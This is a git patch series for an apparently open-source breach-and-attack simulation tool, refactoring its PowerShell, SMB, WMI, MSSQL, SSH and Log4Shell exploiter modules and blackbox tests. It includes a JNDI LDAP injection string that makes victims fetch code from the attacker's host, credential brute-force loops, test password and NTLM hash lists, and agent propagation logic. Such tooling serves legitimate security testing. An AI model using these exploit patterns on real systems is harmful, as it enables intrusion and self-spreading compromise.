b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py index 99e4ce282..622cb6656 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py @@ -16,6 +16,6 @@ class PowerShellCredentialsReuse(ConfigTemplate): "basic_network.scope.depth": 2, "internal.classes.finger_classes": [], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.network.tcp_scanner.tcp_target_ports": [], + "internal.network.tcp_scanner.tcp_target_ports": [5985, 5986], } ) From 123606f23d06dd43bc0caf43bfb3e9f934186e65 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Mar 2022 15:38:27 -0400 Subject: [PATCH 0851/1110] BB: Reduce time to wait for agents to finish Since the agents stop and start so much more quickly now, these delays can be reduced. --- envs/monkey_zoo/blackbox/tests/exploitation.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index ddc6bc9c2..30915be4a 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -6,8 +6,8 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60 -WAIT_TIME_BETWEEN_REQUESTS = 5 -TIME_FOR_MONKEY_PROCESS_TO_FINISH = 10 +WAIT_TIME_BETWEEN_REQUESTS = 1 +TIME_FOR_MONKEY_PROCESS_TO_FINISH = 5 DELAY_BETWEEN_ANALYSIS = 3 LOGGER = logging.getLogger(__name__) From 5835a87d3c752176c15c0cd5018d860e8416593b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Mar 2022 15:50:25 -0400 Subject: [PATCH 0852/1110] BB: Reduce the time that tunnels are held open in tunneling test --- envs/monkey_zoo/blackbox/config_templates/tunneling.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index d2dd663f5..6f726466d 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -17,7 +17,7 @@ class Tunneling(ConfigTemplate): "10.2.0.11", ], "basic_network.scope.depth": 3, - "internal.general.keep_tunnel_open_time": 150, + "internal.general.keep_tunnel_open_time": 30, "basic.credentials.exploit_password_list": [ "Password1!", "3Q=(Ge(+&w]*", From f8b3b378d63a379bbd6fc4187f6fd2e6475c38e4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Mar 2022 15:51:30 -0400 Subject: [PATCH 0853/1110] BB: Skip tests for deprecated exploiters --- envs/monkey_zoo/blackbox/test_blackbox.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index ff80451db..096b8777b 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -186,12 +186,15 @@ class TestMonkeyBlackbox: def test_smb_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") + @pytest.mark.skip(reason="Drupal exploiter is deprecated") def test_drupal_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter") + @pytest.mark.skip(reason="Struts2 exploiter is deprecated") def test_struts_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter") + @pytest.mark.skip(reason="Weblogic exploiter is deprecated") def test_weblogic_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") From 45658b5559b3c0b3dafbe4c6ff88a5f973fc83f7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 13:49:51 -0400 Subject: [PATCH 0854/1110] Agent: Skip empty password attempts in PowerShell if HTTP disabled --- monkey/infection_monkey/exploit/powershell.py | 27 ++++++++++++++++--- .../exploit/test_powershell.py | 25 +++++++++++++++-- 2 files changed, 46 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 3d5a41131..457eccd11 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -39,7 +39,7 @@ class PowerShellExploiter(HostExploiter): self._client = None def _exploit_host(self): - if not self._is_any_default_port_open(): + if not self._any_powershell_port_is_open(): message = "PowerShell Remoting appears to be disabled on the remote host" self.exploit_result.error_message = message logger.debug(message) @@ -77,13 +77,21 @@ class PowerShellExploiter(HostExploiter): return self.exploit_result - def _is_any_default_port_open(self) -> bool: - return "tcp-5985" in self.host.services or "tcp-5986" in self.host.services + def _any_powershell_port_is_open(self) -> bool: + return self._http_powershell_port_is_open() or self._https_powershell_port_is_open() + + def _http_powershell_port_is_open(self) -> bool: + return "tcp-5985" in self.host.services + + def _https_powershell_port_is_open(self) -> bool: + return "tcp-5986" in self.host.services def _authenticate_via_brute_force( self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: - for (creds, opts) in interruptible_iter(zip(credentials, auth_options), self.interrupt): + creds_opts_pairs = filter(self.check_ssl_setting_is_valid, zip(credentials, auth_options)) + for (creds, opts) in interruptible_iter(creds_opts_pairs, self.interrupt): + try: client = PowerShellClient(self.host.ip_addr, creds, opts) client.connect() @@ -105,6 +113,17 @@ class PowerShellExploiter(HostExploiter): return None + def check_ssl_setting_is_valid(self, creds_opts_pair): + opts = creds_opts_pair[1] + + if opts.ssl and not self._https_powershell_port_is_open(): + return False + + if not opts.ssl and not self._http_powershell_port_is_open(): + return False + + return True + def _report_login_attempt(self, result: bool, credentials: Credentials): if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: self.report_login_attempt(result, credentials.username, password=credentials.secret) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 698c7ac2d..78ba133af 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -76,8 +76,6 @@ def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments, https_only_host): - powershell_arguments["host"] = https_only_host - mock_powershell_client = MagicMock() mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) @@ -85,11 +83,15 @@ def test_powershell_https(monkeypatch, powershell_exploiter, powershell_argument powershell_exploiter.exploit_host(**powershell_arguments) + non_ssl_calls = 0 for call_args in mock_powershell_client_constructor.call_args_list: if call_args[0][1].secret != "": assert call_args[0][2].ssl else: assert not call_args[0][2].ssl + non_ssl_calls += 1 + + assert non_ssl_calls > 0 def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_arguments): @@ -185,3 +187,22 @@ def test_build_monkey_execution_command(): assert f"-d {depth}" in cmd assert executable_path in cmd + + +def test_skip_http_only_logins( + monkeypatch, powershell_exploiter, powershell_arguments, https_only_host +): + # Only HTTPS is enabled on the destination, so we should never try to connect with "" empty + # password, since connection with empty password requires SSL == False. + powershell_arguments["host"] = https_only_host + + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) + mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client_constructor) + + powershell_exploiter.exploit_host(**powershell_arguments) + + for call_args in mock_powershell_client_constructor.call_args_list: + assert call_args[0][1].secret != "" + assert call_args[0][2].ssl From c09428dde95235ca23e7db38ccad33fc1b333739 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 23 Mar 2022 16:03:13 +0000 Subject: [PATCH 0855/1110] Agent: Move path to string translation to smb_tools from smbexec --- monkey/infection_monkey/exploit/smbexec.py | 2 +- .../infection_monkey/exploit/tools/smb_tools.py | 16 +++++++++++----- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 836573e4b..109771bd4 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -32,7 +32,7 @@ class SMBExploiter(HostExploiter): def _exploit_host(self): agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) - dest_path = str(get_agent_dest_path(self.host, self.options)) + dest_path = get_agent_dest_path(self.host, self.options) creds = generate_brute_force_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt): diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 8ce7773bb..7b5c79931 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -2,6 +2,8 @@ import logging import ntpath import pprint from io import BytesIO +from pathlib import Path +from typing import Optional from impacket.dcerpc.v5 import srvs, transport from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 @@ -20,13 +22,13 @@ class SmbTools(object): def copy_file( host, agent_file: BytesIO, - dst_path, + dst_path: Path, username, password, lm_hash="", ntlm_hash="", timeout=60, - ): + ) -> Optional[str]: # TODO assess the 60 second timeout creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash]) logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}") @@ -75,7 +77,7 @@ class SmbTools(object): high_priority_shares = () low_priority_shares = () - file_name = ntpath.split(dst_path)[-1] + file_name = dst_path.name for i in range(len(resp)): share_name = resp[i]["shi2_netname"].strip("\0 ") @@ -100,14 +102,18 @@ class SmbTools(object): share_info = {"share_name": share_name, "share_path": share_path} - if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),) + if str(dst_path).lower().startswith(share_path.lower()): + high_priority_shares += ( + (ntpath.sep + str(dst_path)[len(share_path):], share_info), + ) low_priority_shares += ((ntpath.sep + file_name, share_info),) shares = high_priority_shares + low_priority_shares file_uploaded = False + remote_full_path = None + for remote_path, share in shares: share_name = share["share_name"] share_path = share["share_path"] From dc2a63475b26428dff550181f58f9c25c2248e03 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 10:31:41 +0000 Subject: [PATCH 0856/1110] Agent: Fix incorrect monkey destination path bug This bug happened because Path will always cast path to current OS path and if target OS is different the path won't work. By explicitly casting the path to target OS type we get a path for target OS --- monkey/infection_monkey/exploit/tools/helpers.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 87f5636eb..c287b0dbb 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,7 +1,7 @@ import logging import random import string -from pathlib import Path +from pathlib import Path, PurePosixPath, PureWindowsPath from typing import Any, Mapping from infection_monkey.model import VictimHost @@ -20,9 +20,9 @@ def get_random_file_suffix() -> str: def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: if host.os["type"] == "windows": - path = Path(options["dropper_target_path_win_64"]) + path = PureWindowsPath(options["dropper_target_path_win_64"]) else: - path = Path(options["dropper_target_path_linux"]) + path = PurePosixPath(options["dropper_target_path_linux"]) return _add_random_suffix(path) From 90b4038c1461d422d8e47eb6b76fac4bccb638e4 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 10:37:57 +0000 Subject: [PATCH 0857/1110] Agent: Use random agent name in log4shell exploiter --- monkey/infection_monkey/exploit/log4shell.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 90c95ce28..af28b66e2 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,6 @@ import logging import time +from pathlib import Path from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( @@ -10,6 +11,7 @@ from infection_monkey.exploit.log4shell_utils import ( build_exploit_bytecode, get_log4shell_service_exploiters, ) +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.i_puppet.i_puppet import ExploiterResultData @@ -60,13 +62,13 @@ class Log4ShellExploiter(WebRCE): self._agent_http_server_thread = None def _start_servers(self): - dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + target_path = get_agent_dest_path(self.host, self.options) # Start http server, to serve agent to victims - agent_http_path = self._start_agent_http_server(dropper_target_path) + agent_http_path = self._start_agent_http_server(target_path) # Build agent execution command - command = self._build_command(dropper_target_path, agent_http_path) + command = self._build_command(target_path, agent_http_path) # Start http server to serve malicious java class to victim self._start_class_http_server(command) @@ -111,7 +113,7 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - def _build_command(self, path, http_path) -> str: + def _build_command(self, path: Path, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: From 1436be6428dad6ad561240b9c0c1d5e590a142d4 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 10:39:41 +0000 Subject: [PATCH 0858/1110] Agent: Fix propagation success toggle in log4shell Propagation will only be marked successful if the agent got downloaded, not if the java class got downloaded --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index af28b66e2..f970a35c7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -159,7 +159,6 @@ class Log4ShellExploiter(WebRCE): "port": port, } self.exploit_info["vulnerable_urls"].append(url) - self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: victim_called_back = self._wait_for_victim_to_download_java_bytecode() @@ -188,6 +187,7 @@ class Log4ShellExploiter(WebRCE): while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: + self.exploit_result.propagation_success = True break # TODO: if the http server got an error we're waiting for nothing here From 087027b20c4e19ee155cb7560cc2ff2b25fcccf2 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 08:23:10 +0000 Subject: [PATCH 0859/1110] Agent: Change WMI exploiter to use random agent name --- monkey/infection_monkey/exploit/wmiexec.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 67802a0f8..9d2af2e32 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -6,6 +6,7 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.i_puppet import ExploiterResultData @@ -74,10 +75,12 @@ class WmiExploiter(HostExploiter): self._set_interrupted() return self.exploit_result + target_path = get_agent_dest_path(self.host, self.options) + remote_full_path = SmbTools.copy_file( self.host, downloaded_agent, - self.options["dropper_target_path_win_64"], + target_path, user, password, lm_hash, From 707c79ab216c6964bc24a69c0e1a3065cd9b5fb2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Mar 2022 08:35:18 -0400 Subject: [PATCH 0860/1110] Agent: Reduce proxy timeouts from 30 to 10 seconds Stopping the agent is delayed by these timeouts. Reducing them allows the agent to stop more rapidly on average. Fixes #1372 --- monkey/infection_monkey/transport/http.py | 2 +- monkey/infection_monkey/transport/tcp.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 5afb5c2d8..49272481f 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -227,6 +227,6 @@ class LockedHTTPServer(threading.Thread): class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) - httpd.timeout = 30 + httpd.timeout = 10 while not self._stopped: httpd.handle_request() diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index 2e13d6c43..500dc2a22 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -6,7 +6,7 @@ from threading import Thread from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time READ_BUFFER_SIZE = 8192 -DEFAULT_TIMEOUT = 30 +DEFAULT_TIMEOUT = 10 logger = getLogger(__name__) From cb51394439928b8077ae46b6559406ce358a3813 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Mar 2022 18:43:24 +0530 Subject: [PATCH 0861/1110] BB: Add relevant TCP ports to PowerShell config template --- envs/monkey_zoo/blackbox/config_templates/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index 95137d431..33014de87 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -23,7 +23,7 @@ class PowerShell(ConfigTemplate): "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.classes.finger_classes": [], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.network.tcp_scanner.tcp_target_ports": [], + "internal.network.tcp_scanner.tcp_target_ports": [5985, 5986], "internal.exploits.exploit_ntlm_hash_list": [ "d0f0132b308a0c4e5d1029cc06f48692", ], From 49d3433ade5db27ebdf002bfb8c77c9211368bc6 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 11:46:59 +0000 Subject: [PATCH 0862/1110] Agent: Change to more specific typehint in helpers.py --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- monkey/infection_monkey/exploit/tools/helpers.py | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index f970a35c7..0a70d6e01 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,6 @@ import logging import time -from pathlib import Path +from pathlib import PurePath from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( @@ -113,7 +113,7 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - def _build_command(self, path: Path, http_path) -> str: + def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index c287b0dbb..595207f0c 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,7 +1,7 @@ import logging import random import string -from pathlib import Path, PurePosixPath, PureWindowsPath +from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath from typing import Any, Mapping from infection_monkey.model import VictimHost @@ -18,7 +18,7 @@ def get_random_file_suffix() -> str: return random_string -def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath: if host.os["type"] == "windows": path = PureWindowsPath(options["dropper_target_path_win_64"]) else: @@ -29,7 +29,7 @@ def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: # Turns C:\\monkey.exe into C:\\monkey-.exe # Useful to avoid duplicate file paths -def _add_random_suffix(path: Path) -> Path: +def _add_random_suffix(path: PurePath) -> PurePath: stem = path.name.split(".")[0] stem = f"{stem}-{get_random_file_suffix()}" rand_filename = "".join([stem, *path.suffixes]) From 25c7696300f19253b684dc99c7e09c42da3fb119 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 14:47:07 +0000 Subject: [PATCH 0863/1110] Agent: Change typehints of agent destination path to PurePath --- monkey/infection_monkey/exploit/mssqlexec.py | 14 +++++++------- monkey/infection_monkey/exploit/powershell.py | 4 ++-- .../exploit/powershell_utils/powershell_client.py | 6 +++--- monkey/infection_monkey/exploit/sshexec.py | 4 ++-- monkey/infection_monkey/exploit/tools/smb_tools.py | 6 +++--- 5 files changed, 17 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fb2b6f46e..b93b18649 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,6 @@ import logging import os -from pathlib import Path +from pathlib import PurePath from time import sleep import pymssql @@ -132,7 +132,7 @@ class MSSQLExploiter(HostExploiter): raise Exception("Couldn't execute MSSQL exploiter because payload was too long") self.run_mssql_commands(array_of_commands) - def run_monkey(self, monkey_path_on_victim: Path): + def run_monkey(self, monkey_path_on_victim: PurePath): monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) self.run_mssql_command(monkey_launch_command) self.run_payload_file() @@ -142,7 +142,7 @@ class MSSQLExploiter(HostExploiter): self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) - def upload_monkey(self, monkey_path_on_victim: Path): + def upload_monkey(self, monkey_path_on_victim: PurePath): monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) @@ -158,7 +158,7 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self, monkey_path_on_victim: Path) -> LockedHTTPServer: + def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_repository ) @@ -169,12 +169,12 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self, monkey_path_on_victim: Path): + def write_download_command_to_payload(self, monkey_path_on_victim: PurePath): monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) self.run_mssql_command(monkey_download_command) return monkey_download_command - def get_monkey_launch_command(self, monkey_path_on_victim: Path): + def get_monkey_launch_command(self, monkey_path_on_victim: PurePath): # Form monkey's launch command monkey_args = build_monkey_commandline( self.host, self.current_depth - 1, monkey_path_on_victim @@ -187,7 +187,7 @@ class MSSQLExploiter(HostExploiter): suffix=suffix, ) - def get_monkey_download_command(self, monkey_path_on_victim: Path): + def get_monkey_download_command(self, monkey_path_on_victim: PurePath): monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) ) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 8bdf7e571..efc66aabc 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,5 +1,5 @@ import logging -from pathlib import Path +from pathlib import Path, PurePath from typing import List, Optional from infection_monkey.exploit.HostExploiter import HostExploiter @@ -182,7 +182,7 @@ class PowerShellExploiter(HostExploiter): f"Failed to execute the agent binary on the victim: {ex}" ) - def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: Path): + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath): temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 70e82bb66..df2cf65b1 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,6 +1,6 @@ import abc import logging -from pathlib import Path +from pathlib import Path, PurePath from typing import Optional import pypsrp @@ -64,7 +64,7 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): pass @abc.abstractmethod - def copy_file(self, src: Path, dest: Path) -> bool: + def copy_file(self, src: Path, dest: PurePath) -> bool: pass @abc.abstractmethod @@ -102,7 +102,7 @@ class PowerShellClient(IPowerShellClient): output, _, _ = self._client.execute_cmd(cmd) return output - def copy_file(self, src: Path, dest: Path): + def copy_file(self, src: Path, dest: PurePath): try: self._client.copy(str(src), str(dest)) logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 7d0955ffb..aa4ec8b54 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,6 +1,6 @@ import io import logging -from pathlib import Path +from pathlib import PurePath import paramiko @@ -265,7 +265,7 @@ class SSHExploiter(HostExploiter): return self.exploit_result def _set_executable_bit_on_agent_binary( - self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path + self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath ): ftp.chmod(str(monkey_path_on_victim), 0o700) self.telemetry_messenger.send_telemetry( diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 7b5c79931..8c353cf8c 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -2,7 +2,7 @@ import logging import ntpath import pprint from io import BytesIO -from pathlib import Path +from pathlib import PurePath from typing import Optional from impacket.dcerpc.v5 import srvs, transport @@ -22,7 +22,7 @@ class SmbTools(object): def copy_file( host, agent_file: BytesIO, - dst_path: Path, + dst_path: PurePath, username, password, lm_hash="", @@ -104,7 +104,7 @@ class SmbTools(object): if str(dst_path).lower().startswith(share_path.lower()): high_priority_shares += ( - (ntpath.sep + str(dst_path)[len(share_path):], share_info), + (ntpath.sep + str(dst_path)[len(share_path) :], share_info), ) low_priority_shares += ((ntpath.sep + file_name, share_info),) From 996f2b3c7a369e465efffb11f41569ad877760fe Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Mar 2022 10:38:41 -0400 Subject: [PATCH 0864/1110] Agent: Fix unnecessary waiting in MonkeyTunnel The monkey tunnel only needs to wait before closing if propagation was successful. Previously, it waited before closing if any exploiter was run. PR: #1811 --- ...xploit_intercepting_telemetry_messenger.py | 6 ++-- ...xploit_intercepting_telemetry_messenger.py | 28 +++++++++++++++---- 2 files changed, 27 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py index 3b92235fb..b2a254061 100644 --- a/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py @@ -1,7 +1,7 @@ from functools import singledispatch -from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.tunnel import MonkeyTunnel @@ -26,5 +26,7 @@ def _send_telemetry( @_send_telemetry.register def _(telemetry: ExploitTelem, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel): - tunnel.set_wait_for_exploited_machines() + if telemetry.propagation_result is True: + tunnel.set_wait_for_exploited_machines() + telemetry_messenger.send_telemetry(telemetry) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py index c6b85df3e..f949738f6 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py @@ -1,8 +1,9 @@ from unittest.mock import MagicMock +from infection_monkey.i_puppet.i_puppet import ExploiterResultData +from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem 